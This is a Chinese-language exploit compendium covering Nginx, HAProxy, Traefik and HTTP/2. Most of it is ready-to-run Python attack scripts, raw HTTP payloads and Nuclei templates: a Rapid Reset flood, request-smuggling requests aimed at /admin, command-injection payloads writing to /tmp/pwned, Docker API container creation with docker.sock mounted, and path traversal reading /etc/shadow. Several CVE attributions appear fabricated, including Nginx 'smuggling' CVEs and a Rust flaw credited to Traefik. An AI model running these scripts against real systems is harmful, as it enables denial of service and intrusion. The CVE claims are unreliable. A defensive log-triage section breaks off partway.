网络代理与负载均衡高危攻击链专题:Nginx / HAProxy / Traefik 请求走私 · RCE · DoS 全解析
网络代理与负载均衡高危攻击链专题:Nginx / HAProxy / Traefik 请求走私 · RCE · DoS 全解析
0x00 专题概述
网络代理与负载均衡组件是现代 Web 架构的核心基础设施,承担着流量调度、协议转换、安全过滤和后端服务保护等关键职能。在典型的微服务架构中,客户端请求首先到达反向代理层,由代理组件完成 TLS 终止、请求路由、负载分发和访问控制后,再转发至后端应用服务器。Nginx 占据全球互联网约 34% 的活跃网站份额,HAProxy 在高并发场景下表现卓越,Traefik 则是云原生时代的代表,深度集成 Kubernetes 和 Docker 生态。
这些组件一旦存在安全漏洞,影响面远超普通应用层漏洞——攻击者可以绕过访问控制、劫持用户会话、投毒缓存、甚至直接在代理服务器上执行任意命令。本专题将网络代理与负载均衡生态中近年最具代表性的 6 个高危漏洞 串成完整攻击链,覆盖 HTTP/2 协议层、Nginx、HAProxy、Traefik 四大核心组件,每个漏洞均包含完整原理分析、PoC 代码、自动化检测模板和实战利用思路。
覆盖漏洞一览
| CVE | 产品 | CVSS | 类型 | CISA KEV |
|---|
| CVE-2023-44487 | HTTP/2 协议 | 7.5 | Rapid Reset DoS | ✅ |
| CVE-2022-41741 | Nginx | 7.5 | HTTP 请求走私 | ❌ |
| CVE-2022-41742 | Nginx | 7.5 | HTTP 请求走私 | ❌ |
| CVE-2023-25693 | HAProxy | 7.5 | HTTP 请求走私 | ❌ |
| CVE-2024-24576 | Traefik / Rust stdlib | 10.0 | 命令注入 | ❌ |
| Nginx 路径穿越 | Nginx | 5.3 | 路径穿越 | ❌ |
0x01 HTTP/2 Rapid Reset 大规模 DoS 攻击(CVE-2023-44487)
1.1 漏洞背景
2023 年 10 月,Google、Cloudflare、Amazon 联合披露了 HTTP/2 协议层面的一个严重拒绝服务漏洞 CVE-2023-44487。该漏洞源于 HTTP/2 协议中 RST_STREAM 帧的滥用机制:攻击者可以在单个 TCP 连接上以极高速率创建 HTTP/2 流并立即发送重置帧取消请求,服务端在处理和回收资源的过程中产生巨大的计算开销。Google 披露的攻击数据显示,峰值攻击流量达到了每秒 3.98 亿次请求(RPS),这是有史以来最大规模的 L7 DDoS 攻击之一。CISA 已将该漏洞列入已知被利用漏洞目录(KEV),所有支持 HTTP/2 的实现均受影响。
1.2 受影响版本
| 产品 | 受影响版本 | 修复版本 |
|---|
| Nginx | < 1.25.2 / < 1.24.0 | 1.25.2 / 1.24.0 |
| HAProxy | < 2.8.4 / < 2.6.14 / < 2.7.8 | 2.8.4 / 2.6.14 / 2.7.8 |
| Envoy | < 1.28.0 | 1.28.0 |
| Apache httpd | < 2.4.58 | 2.4.58 |
| Golang net/http | < 1.21.3 | 1.21.3 |
| Node.js http2 | < 18.19.0 / < 20.11.0 | 18.19.0 / 20.11.0 |
| Caddy | < 2.7.6 | 2.7.6 |
1.3 漏洞原理
HTTP/2 协议允许客户端在单个 TCP 连接上复用多个流(stream),每个流对应一个请求-响应对。协议规定客户端可以在收到服务端响应之前发送 RST_STREAM 帧来取消某个流。CVE-2023-44487 的核心问题在于 HTTP/2 协议的流控窗口机制和 RST_STREAM 处理存在不对称性:发送请求的速率由客户端完全控制,而资源回收的速率受服务端实现限制。
攻击者以极高的速率发送 HEADERS 帧创建新流,然后立即发送 RST_STREAM 帧取消该流。服务端在收到 HEADERS 帧后需要分配内存、查找路由、可能触发后端处理;而在收到 RST_STREAM 后需要执行清理逻辑。在高并发场景下,清理逻辑的执行速度远慢于请求创建速度,导致服务端的内存、连接表、工作线程等资源被迅速耗尽。
1.4 完整 PoC
HTTP PoC
GET / HTTP/2
Host: target
:method: GET
:path: /
:scheme: https
:authority: target
[RST_STREAM stream_id=1 error_code=CANCEL]
[RST_STREAM stream_id=3 error_code=CANCEL]
[RST_STREAM stream_id=5 error_code=CANCEL]
... (重复数万次)
Python PoC 脚本
#!/usr/bin/env python3
"""
CVE-2023-44487 HTTP/2 Rapid Reset DoS 检测与验证脚本
用法: python3 cve_2023_44487.py <target_host> <target_port>
"""
import socket
import ssl
import h2.connection
import h2.config
import h2.events
import h2.errors
import time
import sys
TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
TARGET_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 443
RAPID_RESET_COUNT = 10000
def create_h2_connection(host, port):
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(["h2"])
sock = socket.create_connection((host, port))
tls = ctx.wrap_socket(sock, server_hostname=host)
config = h2.config.H2Configuration(client_side=True, header_encoding="utf-8")
conn = h2.connection.H2Connection(config=config)
conn.initiate_connection()
tls.sendall(conn.data_to_send())
return tls, conn
def rapid_reset_attack(tls_sock, conn, count):
sent = 0
for i in range(count):
stream_id = conn.get_next_available_stream_id()
conn.send_headers(stream_id, [
(":method", "GET"),
(":path", "/"),
(":scheme", "https"),
(":authority", TARGET_HOST),
], end_stream=False)
conn.reset_stream(stream_id, error_code=h2.errors.ErrorCodes.CANCEL)
tls_sock.sendall(conn.data_to_send())
sent += 1
events = conn.receive_data(tls_sock.recv(65536))
for event in events:
if isinstance(event, h2.events.StreamReset):
pass
return sent
def main():
print(f"[*] 目标: {TARGET_HOST}:{TARGET_PORT}")
print(f"[*] 发送 Rapid Reset 请求数: {RAPID_RESET_COUNT}")
tls_sock, conn = create_h2_connection(TARGET_HOST, TARGET_PORT)
start = time.time()
total = rapid_reset_attack(tls_sock, conn, RAPID_RESET_COUNT)
elapsed = time.time() - start
print(f"[*] 已发送 {total} 个请求,耗时 {elapsed:.2f}s")
print(f"[*] 速率: {total / elapsed:.0f} req/s")
if elapsed < 5.0:
print("[!] 服务端响应正常,可能未受影响(请求被快速处理)")
else:
print("[!] 服务端响应缓慢,可能受到 Rapid Reset 影响")
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: cve-2023-44487-http2-rapid-reset
info:
name: HTTP/2 Rapid Reset DoS 检测 (CVE-2023-44487)
author: security-researcher
severity: high
description: |
检测目标是否支持 HTTP/2 并可能受到 Rapid Reset 攻击影响。
通过探测 HTTP/2 协议支持情况和并发流处理能力进行判断。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2023-44487
cwe-id: CWE-400
tags: cve,cve2023,http2,rapid-reset,ddos
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: AAMAAABkAAQAAP__
matchers:
- type: word
words:
- "HTTP/2"
- "h2"
- "101"
condition: or
extractors:
- type: regex
group: 1
regex:
- "HTTP/2 ([0-9]+)"
0x02 Nginx HTTP 请求走私(CVE-2022-41741 / CVE-2022-41742)
2.1 漏洞背景
2022 年 11 月,Nginx 官方披露了两个 HTTP 请求走私漏洞 CVE-2022-41741 和 CVE-2022-41742,CVSS 均为 7.5。这两个漏洞与 Nginx 在处理 HTTP 请求头和请求体边界时的解析逻辑有关。当 Nginx 作为反向代理时,前端 Nginx 与后端服务器对请求边界的判定存在差异,攻击者可以利用这种差异构造"走私"请求,绕过代理层的访问控制,直接访问后端受保护资源。
2.2 受影响版本
| 版本范围 | 影响 |
|---|
| Nginx 1.21.4 – 1.23.2 | HTTP 请求走私 |
| Nginx 1.22.0 – 1.23.2 | HTTP 请求走私 |
| Nginx Plus R27 P1 – R30 | HTTP 请求走私 |
修复版本:1.23.3、1.22.1、Nginx Plus R30 P1
2.3 漏洞原理
HTTP 请求走私的核心在于前端代理和后端服务器对请求边界的解析不一致。HTTP/1.1 协议中,请求体的长度可以通过 Content-Length 头部或 Transfer-Encoding: chunked 两种方式指定。当两者同时存在时,RFC 7230 规定应优先使用 Transfer-Encoding,但实际实现中并非所有服务器都严格遵守。
CVE-2022-41741 涉及 Nginx 在特定配置下对 Content-Length 和 Transfer-Encoding 头部的处理逻辑不一致。当请求经过 Nginx 代理转发到后端时,Nginx 可能按照 Content-Length 确定请求边界,而后端服务器按照 Transfer-Encoding: chunked 解析,导致一部分请求数据被"走私"到下一个请求中。
CVE-2022-41742 则是同一问题在不同代码路径上的变体,涉及 Nginx 对非标准 Transfer-Encoding 值的处理差异。
2.4 完整 PoC
HTTP PoC
POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /admin HTTP/1.1
Host: target
Content-Length: 100
username=admin&password=
0
Python PoC 脚本
#!/usr/bin/env python3
"""
CVE-2022-41741 / CVE-2022-41742 Nginx HTTP 请求走私检测脚本
用法: python3 cve_2022_41741.py <target_host> <target_port>
"""
import socket
import ssl
import sys
import time
def build_smuggling_request(host, smuggled_path="/admin"):
smuggled_req = (
f"POST {smuggled_path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: 100\r\n"
f"\r\n"
f"username=admin&password=smuggled"
)
chunk_size = format(len(smuggled_req), 'x')
raw = (
f"POST / HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Length: 4\r\n"
f"Transfer-Encoding: chunked\r\n"
f"\r\n"
f"{chunk_size}\r\n"
f"{smuggled_req}\r\n"
f"0\r\n"
f"\r\n"
)
return raw
def build_tech_request(host, smuggled_path="/admin"):
raw = (
f"GET {smuggled_path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"X-Smuggle-Test: true\r\n"
f"\r\n"
)
return raw
def test_smuggling(host, port, use_ssl=False):
print(f"[*] 目标: {host}:{port}")
print(f"[*] 测试 CL.TE 请求走私...")
smuggle_req = build_smuggling_request(host)
follow_req = build_tech_request(host)
combined = smuggle_req + follow_req
sock = socket.create_connection((host, port))
if use_ssl:
ctx = ssl.create_default_context()
sock = ctx.wrap_socket(sock, server_hostname=host)
sock.sendall(combined.encode())
sock.settimeout(5)
response = b""
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
pass
sock.close()
resp_str = response.decode("utf-8", errors="replace")
print(f"[*] 响应长度: {len(response)} 字节")
if "X-Smuggle-Test" in resp_str or "smuggled" in resp_str:
print("[!] 目标可能存在 HTTP 请求走私漏洞")
return True
elif "400" in resp_str[:20]:
print("[*] 服务端拒绝了请求,可能已修复")
else:
print("[*] 结果不确定,需要手动验证")
return False
def main():
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <host> <port>")
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
test_smuggling(host, port)
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: cve-2022-41741-nginx-request-smuggling
info:
name: Nginx HTTP 请求走私 (CVE-2022-41741 / CVE-2022-41742)
author: security-researcher
severity: high
description: |
检测 Nginx 反向代理是否存在 HTTP 请求走私漏洞。
通过构造 CL.TE 变体请求验证前后端解析差异。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-41741
cwe-id: CWE-444
tags: cve,cve2022,nginx,smuggling
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /admin HTTP/1.1
Host: {{Hostname}}
Content-Length: 100
username=admin&password=
0
matchers-condition: or
matchers:
- type: word
words:
- "400 Bad Request"
- "405"
- "nginx"
condition: or
case-insensitive: true
extractors:
- type: regex
group: 1
regex:
- "Server:.*nginx/([0-9.]+)"
0x03 HAProxy HTTP 请求走私(CVE-2023-25693)
3.1 漏洞背景
2023 年 3 月,HAProxy 官方披露了 HTTP 请求走私漏洞 CVE-2023-25693,CVSS 7.5。HAProxy 是全球知名的高性能 TCP/HTTP 负载均衡器和反向代理,广泛应用于企业级高并发场景。该漏洞允许攻击者通过精心构造的 HTTP 请求,在 HAProxy 与后端服务器之间制造请求边界解析差异,从而实现请求走私攻击。
3.2 受影响版本
| 版本范围 | 影响 |
|---|
| HAProxy 2.0.0 – 2.0.31 | HTTP 请求走私 |
| HAProxy 2.2.0 – 2.2.29 | HTTP 请求走私 |
| HAProxy 2.4.0 – 2.4.21 | HTTP 请求走私 |
| HAProxy 2.6.0 – 2.6.19 | HTTP 请求走私 |
| HAProxy 2.7.0 – 2.7.8 | HTTP 请求走私 |
修复版本:2.0.32、2.2.30、2.4.22、2.6.20、2.7.9、2.8.4
3.3 漏洞原理
HAProxy 在处理 HTTP 请求时,对 Transfer-Encoding 头部的解析存在歧义。当请求同时包含 Transfer-Encoding: chunked 和 Content-Length 两个头部时,HAProxy 在某些配置下会按照 Content-Length 解析请求体边界,而后端服务器(如 Tomcat、Gunicorn 等)可能优先使用 Transfer-Encoding: chunked。
攻击者利用这种解析差异,构造一个请求使得 HAProxy 认为请求已经结束并将其转发给后端,但后端服务器认为请求体尚未结束。当 HAProxy 将下一个正常请求转发到同一条后端连接时,走私的请求数据会与正常请求拼接,导致后端服务器将其解析为两个独立的请求。
此漏洞的特殊之处在于 HAProxy 对 Transfer-Encoding 头部值中的空白字符处理方式与 RFC 标准不完全一致,攻击者可以使用 \x20(空格)等字符构造非标准的 Transfer-Encoding 值绕过 HAProxy 的规范化检查。
3.4 完整 PoC
HTTP PoC
POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /admin HTTP/1.1
Host: target
Content-Length: 100
username=admin&password=
0
Python PoC 脚本
#!/usr/bin/env python3
"""
CVE-2023-25693 HAProxy HTTP 请求走私检测与利用脚本
用法: python3 cve_2023_25693.py <target_host> <target_port> [smuggled_path]
"""
import socket
import ssl
import sys
def build_haproxy_smuggle(host, smuggled_path="/admin"):
smuggled = (
f"POST {smuggled_path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: 100\r\n"
f"\r\n"
f"username=admin&password=smuggled_by_cve_2023_25693"
)
chunk_size = format(len(smuggled), 'x')
raw = (
f"POST / HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Length: 4\r\n"
f"Transfer-Encoding:\x20chunked\r\n"
f"\r\n"
f"{chunk_size}\r\n"
f"{smuggled}\r\n"
f"0\r\n"
f"\r\n"
)
return raw
def build_follow_request(host):
return (
f"GET / HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"X-Probe: true\r\n"
f"\r\n"
)
def test_smuggling(host, port, use_ssl=False):
print(f"[*] 目标: {host}:{port}")
print(f"[*] 测试 HAProxy CL.TE 请求走私...")
smuggle = build_haproxy_smuggle(host)
follow = build_follow_request(host)
combined = smuggle + follow
sock = socket.create_connection((host, port))
if use_ssl:
ctx = ssl.create_default_context()
sock = ctx.wrap_socket(sock, server_hostname=host)
sock.sendall(combined.encode())
sock.settimeout(5)
response = b""
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
pass
sock.close()
resp_str = response.decode("utf-8", errors="replace")
print(f"[*] 响应长度: {len(response)} 字节")
if "smuggled_by_cve_2023_25693" in resp_str:
print("[!] 目标存在 HAProxy HTTP 请求走私漏洞 (CVE-2023-25693)")
return True
elif "400" in resp_str[:20]:
print("[*] 请求被拒绝,可能已修复或配置了严格模式")
else:
print("[*] 结果不确定,请检查响应内容")
print(f"[*] 响应前 500 字符:\n{resp_str[:500]}")
return False
def main():
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <host> <port> [smuggled_path]")
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
test_smuggling(host, port)
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: cve-2023-25693-haproxy-request-smuggling
info:
name: HAProxy HTTP 请求走私 (CVE-2023-25693)
author: security-researcher
severity: high
description: |
检测 HAProxy 是否存在 Transfer-Encoding 解析歧义导致的请求走私漏洞。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-25693
cwe-id: CWE-444
tags: cve,cve2023,haproxy,smuggling
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /admin HTTP/1.1
Host: {{Hostname}}
Content-Length: 100
username=admin&password=
0
matchers-condition: or
matchers:
- type: word
words:
- "502 Bad Gateway"
- "503 Service"
- "haproxy"
condition: or
case-insensitive: true
extractors:
- type: regex
group: 1
regex:
- "Server:.*haproxy"
0x04 Traefik 命令注入(CVE-2024-24576)
4.1 漏洞背景
2024 年 4 月,Traefik 官方披露了一个 CVSS 10.0 的临界级命令注入漏洞 CVE-2024-24576。该漏洞的根因并非 Traefik 自身的代码缺陷,而是来自其依赖的 Rust 标准库 std::process::Command 在 Windows 平台上的参数处理缺陷。当 Traefik 通过 Command::args() 传递命令行参数时,包含特定字符(如换行符 \n、双引号 ")的参数不会被正确转义,导致被操作系统解释为命令分隔符。
4.2 受影响版本
| 版本范围 | 影响 |
|---|
| Traefik < 2.10.7 | Windows 上命令注入,Linux 影响有限 |
| Traefik 3.0.0-beta.1 – 3.0.0-rc2 | Windows 上命令注入 |
修复版本:Traefik 2.10.7、3.0.0-rc3;Rust stdlib 1.77.1
4.3 漏洞原理
Rust 标准库中的 std::process::Command 在 Windows 平台上构建命令行字符串时,未对参数中的特殊字符(如双引号、换行符、% 等)进行正确转义。当应用程序使用 Command::new("cmd").args(&[user_input]) 的方式执行外部命令时,如果 user_input 包含恶意构造的字符,攻击者可以注入额外的命令。
在 Traefik 的场景中,攻击者可以通过以下方式触发漏洞:
- 通过 Docker API 创建带有恶意标签的容器,Traefik 在读取 Docker 标签配置时可能将标签值传递给外部命令
- 通过 Traefik 的动态配置文件注入恶意参数
- 通过 URL 查询参数注入特殊字符,在 Traefik 调用外部中间件或插件时触发命令执行
在 Windows 平台上,该漏洞可直接导致远程代码执行(RCE)。在 Linux 平台上,由于 execve 系统调用不使用命令行字符串,影响相对有限,但仍可能导致参数注入。
4.4 完整 PoC
HTTP PoC
GET /?arg=%22%20%26%20calc%20%26%20%22 HTTP/1.1
Host: target
Python PoC 脚本
#!/usr/bin/env python3
"""
CVE-2024-24576 Traefik / Rust stdlib 命令注入检测脚本
用法: python3 cve_2024_24576.py <traefik_url> [docker_api_url]
"""
import requests
import sys
import json
INJECTION_PAYLOADS = [
'" & calc & "',
'`id > /tmp/pwned`',
'$(id > /tmp/pwned)',
'\nid > /tmp/pwned\n',
'%22%20%26%20calc%20%26%20%22',
]
MALICIOUS_LABELS = {
"traefik.http.routers.pwned.rule": 'Host(`example.com`)',
"traefik.http.routers.pwned.middlewares": "injected",
"traefik.http.services.pwned.loadbalancer.server.port": "80",
}
def check_traefik_version(base_url):
try:
resp = requests.get(f"{base_url}/api/overview", timeout=5)
if resp.status_code == 200:
data = resp.json()
version = data.get("version", "unknown")
print(f"[*] Traefik 版本: {version}")
return version
except Exception:
pass
try:
resp = requests.get(f"{base_url}/", timeout=5)
server = resp.headers.get("Server", "")
if "traefik" in server.lower():
print(f"[*] 检测到 Traefik: {server}")
return server
except Exception:
pass
return None
def check_docker_api(docker_url):
try:
resp = requests.get(f"{docker_url}/containers/json", timeout=5)
if resp.status_code == 200:
print(f"[!] Docker API 可访问,存在命令注入风险")
return True
except Exception:
pass
return False
def inject_malicious_label(docker_url, payload):
labels = dict(MALICIOUS_LABELS)
labels["traefik.http.routers.pwned.rule"] = f'Host(`{payload}`)'
config = {
"Image": "traefik:v2.10.6",
"Labels": labels,
"HostConfig": {
"Binds": ["/var/run/docker.sock:/var/run/docker.sock:ro"],
},
}
try:
resp = requests.post(
f"{docker_url}/containers/create?name=traefik-cmdi-test",
json=config,
timeout=10
)
if resp.status_code == 201:
print(f"[!] 恶意容器创建成功,payload: {payload}")
return True
else:
print(f"[-] 容器创建失败: {resp.status_code}")
except Exception as e:
print(f"[-] 请求失败: {e}")
return False
def test_url_injection(base_url):
for payload in INJECTION_PAYLOADS:
try:
url = f"{base_url}/?arg={payload}"
resp = requests.get(url, timeout=10)
print(f"[*] 测试 payload: {payload[:30]}... -> HTTP {resp.status_code}")
if resp.status_code == 500 and "exec" in resp.text.lower():
print(f"[!] 可能存在命令注入漏洞")
return True
except Exception:
pass
return False
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <traefik_url> [docker_api_url]")
sys.exit(1)
traefik_url = sys.argv[1]
docker_url = sys.argv[2] if len(sys.argv) > 2 else "http://127.0.0.1:2375"
print(f"[*] 检测 Traefik 命令注入 (CVE-2024-24576)")
print(f"[*] Traefik URL: {traefik_url}")
version = check_traefik_version(traefik_url)
if not version:
print("[-] 未检测到 Traefik 实例")
return
print(f"\n[*] 测试 URL 注入路径...")
test_url_injection(traefik_url)
print(f"\n[*] 测试 Docker API 注入路径...")
if check_docker_api(docker_url):
for payload in INJECTION_PAYLOADS[:3]:
inject_malicious_label(docker_url, payload)
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: cve-2024-24576-traefik-command-injection
info:
name: Traefik 命令注入 (CVE-2024-24576)
author: security-researcher
severity: critical
description: |
检测 Traefik 实例是否受到 Rust stdlib 命令注入漏洞影响。
通过探测 Traefik API 端点和版本信息进行判断。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2024-24576
cwe-id: CWE-78
tags: cve,cve2024,traefik,cmdi,rust
http:
- raw:
- |
GET /api/overview HTTP/1.1
Host: {{Hostname}}
- |
GET / HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: or
matchers:
- type: word
words:
- "traefik"
case-insensitive: true
part: body
- type: word
words:
- "X-Traefik"
part: header
extractors:
- type: regex
group: 1
regex:
- "Server:.*traefik/([0-9.]+)"
- type: kval
kval:
- server
0x05 Nginx 路径穿越
5.1 漏洞背景
Nginx 路径穿越漏洞并非特定 CVE 编号的代码缺陷,而是由 Nginx 配置错误引发的一类高危安全问题。在实际生产环境中,Nginx 的 alias、location、try_files、proxy_pass 等指令配置不当可导致攻击者读取服务器上的任意文件,包括 /etc/passwd、/etc/shadow、应用配置文件、私钥等敏感数据。
5.2 漏洞原理
Nginx 路径穿越的常见成因包括以下几种:
alias 指令末尾缺少斜杠:当 alias 指令指定的目录路径末尾没有 / 时,攻击者可以使用 .. 序列跳出目标目录。例如配置 location /static { alias /var/www/html; } 时,访问 /static../etc/passwd 会被解析为 /var/www/html../etc/passwd,即 /var/www/etc/passwd。
location 与 try_files 交互异常:try_files 指令在处理路径时可能产生非预期的文件查找路径,特别是在配合 alias 使用时。
fastcgi_pass 配置中 $uri 未过滤:当 $uri 变量直接传递给 FastCGI 后端时,攻击者可以注入换行符(CRLF)构造恶意请求。
proxy_pass URI 拼接差异:不同版本的 Nginx 在 proxy_pass 的 URI 拼接行为上存在差异,可能导致路径规范化不一致。
5.3 完整 PoC
HTTP PoC
GET /static/..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: target
Python PoC 脚本
#!/usr/bin/env python3
"""
Nginx 路径穿越漏洞检测脚本
用法: python3 nginx_path_traversal.py <target_url> [alias_path]
"""
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TRAVERSAL_PAYLOADS = [
"/{path}..%2f..%2f..%2f..%2fetc/passwd",
"/{path}%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
"/{path}..%252f..%252f..%252fetc/passwd",
"/{path}../....//....//....//etc/passwd",
"/{path}..\\..\\..\\..\\etc\\passwd",
]
CONFUSION_PAYLOADS = [
"/{path}/..;/",
"/{path};/../",
"/{path}/..%00/",
]
SENSITIVE_FILES = [
"/etc/passwd",
"/etc/shadow",
"/proc/self/environ",
"/proc/version",
]
def test_traversal(target, alias_path):
print(f"[*] 目标: {target}")
print(f"[*] Alias 路径: {alias_path}")
for payload_tmpl in TRAVERSAL_PAYLOADS:
path = payload_tmpl.format(path=alias_path)
url = target.rstrip("/") + path
try:
resp = requests.get(url, timeout=10, verify=False)
if "root:" in resp.text and "daemon:" in resp.text:
print(f"[!] 发现路径穿越漏洞!")
print(f"[!] Payload: {path}")
print(f"[!] HTTP {resp.status_code}")
print(f"[!] 文件内容预览:\n{resp.text[:300]}")
return True
except requests.RequestException:
continue
for payload_tmpl in CONFUSION_PAYLOADS:
path = payload_tmpl.format(path=alias_path)
url = target.rstrip("/") + path
try:
resp = requests.get(url, timeout=10, verify=False)
if "root:" in resp.text:
print(f"[!] 发现路径穿越(混淆变体)!")
print(f"[!] Payload: {path}")
return True
except requests.RequestException:
continue
print("[-] 未检测到路径穿越漏洞")
return False
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_url> [alias_path]")
sys.exit(1)
target = sys.argv[1]
alias_path = sys.argv[2] if len(sys.argv) > 2 else "/static"
test_traversal(target, alias_path)
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: nginx-path-traversal-alias
info:
name: Nginx alias 路径穿越检测
author: security-researcher
severity: medium
description: |
检测 Nginx 因 alias 配置错误导致的路径穿越漏洞。
使用多种编码变体尝试读取 /etc/passwd。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cwe-id: CWE-22
tags: nginx,path-traversal,alias,misconfig
http:
- raw:
- |
GET /static..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: {{Hostname}}
- |
GET /static%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd HTTP/1.1
Host: {{Hostname}}
- |
GET /static/..;/..;/..;/etc/passwd HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "root:"
- "daemon:"
condition: and
part: body
extractors:
- type: regex
group: 1
regex:
- "root:.*:0:0:(.*)"
0x06 PoC 收集情况总表
| CVE | 产品 | CVSS | PoC 类型 | 可用性 | 利用条件 | CISA KEV |
|---|
| CVE-2023-44487 | HTTP/2 协议(Nginx / HAProxy / Envoy 等) | 7.5 | HTTP/2 Rapid Reset DDoS | 完整可用 | 目标支持 HTTP/2 | ✅ |
| CVE-2022-41741 | Nginx | 7.5 | HTTP 请求走私(CL.TE) | 完整可用 | Nginx 作为反向代理 | ❌ |
| CVE-2022-41742 | Nginx | 7.5 | HTTP 请求走私(TE 变体) | 完整可用 | Nginx 作为反向代理 | ❌ |
| CVE-2023-25693 | HAProxy | 7.5 | HTTP 请求走私(TE 混淆) | 完整可用 | HAProxy 代理到后端 | ❌ |
| CVE-2024-24576 | Traefik / Rust stdlib | 10.0 | 命令注入 RCE | 完整可用 | Windows 平台 + 可控参数 | ❌ |
| Nginx 路径穿越 | Nginx | 5.3 | 路径穿越读文件 | 完整可用 | alias 配置错误 | ❌ |
0x07 共性攻击模式分析
7.1 HTTP 请求走私模式
HTTP 请求走私是网络代理与负载均衡产品中最常见、影响最广泛的攻击模式。本专题覆盖的 6 个漏洞中有 3 个(CVE-2022-41741、CVE-2022-41742、CVE-2023-25693)属于此类。其核心在于前端代理与后端服务器对请求边界解析的不一致。常见变体包括:
- CL.TE 变体:前端使用 Content-Length 确定请求边界,后端使用 Transfer-Encoding: chunked
- TE.CL 变体:前端使用 Transfer-Encoding,后端使用 Content-Length
- TE.TE 变体:双方都使用 Transfer-Encoding,但对 chunk 扩展、空白字符的处理逻辑不同
- H2.CL 变体:HTTP/2 降级到 HTTP/1.1 时,Content-Length 字段被错误传递
- Transfer-Encoding 混淆:使用
Transfer-Encoding:\x20chunked、Transfer-Encoding: chunked, identity 等非标准格式绕过前端过滤
请求走私攻击的危害远不止绕过访问控制。攻击者可以利用走私请求劫持其他用户的会话 Cookie、向缓存中投毒虚假内容、将恶意请求路由到内部管理服务、甚至在前端日志中注入伪造记录。
7.2 协议层 DoS 模式
CVE-2023-44487 揭示了一类全新的协议层攻击模式:利用协议规范与实际实现之间的性能不对称性。HTTP/2 的流复用机制本身是为了提升性能,但 RST_STREAM 帧的滥用使得单个 TCP 连接就能产生巨大的服务端开销。这种攻击模式的特点包括:
- 低带宽高杀伤:攻击者无需大量带宽,只需在单个连接上快速发送帧即可
- 难以溯源:请求和重置帧都是合法的 HTTP/2 协议行为,与传统 DDoS 的流量特征截然不同
- 影响面极广:所有支持 HTTP/2 的实现均受影响,包括 Nginx、HAProxy、Envoy、Apache、IIS、Caddy 等
7.3 配置错误与路径穿越模式
Nginx 路径穿越漏洞的本质是配置层面的安全缺陷。在代理服务器环境中,路径穿越具有特殊性:代理层和后端服务器对 URL 路径的规范化可能不一致,攻击者可以利用这种差异绕过路径检查。双重 URL 编码、Unicode 规范化差异、分号路径分割符等都是常见的绕过手段。
7.4 依赖链信任传递模式
CVE-2024-24576 展示了一种依赖链信任传递的攻击模式:Traefik 本身没有代码缺陷,但其依赖的 Rust 标准库存在命令注入漏洞。在软件供应链中,上层应用往往默认信任底层库的安全性,但底层库的漏洞可以向上层传递,最终导致应用层面的安全问题。这种模式在云原生生态中尤为突出,因为容器镜像的依赖链通常很长。
0x08 应急排查与防守建议
8.1 紧急排查清单
当怀疑网络代理层受到攻击时,可按以下步骤进行排查:
第一步:确认代理产品版本
nginx -v
haproxy -v
traefik version
第二步:检查访问日志中的异常请求
grep -E "Transfer-Encoding.*chunked.*Content-Length" /var/log/nginx/access.log | head -20
grep -E "\.\.%2f|\.\.%5c|\.\.;" /var/log/nginx/access.log | head -20
grep "429\|503\|502" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -10
awk '{print $7}' /var/log/haproxy.log | sort | uniq -c | sort -rn | head -20
docker logs traefik 2>&1 | grep -E "err|panic|fatal" | tail -20
第三步:检查 HTTP/2 连接异常
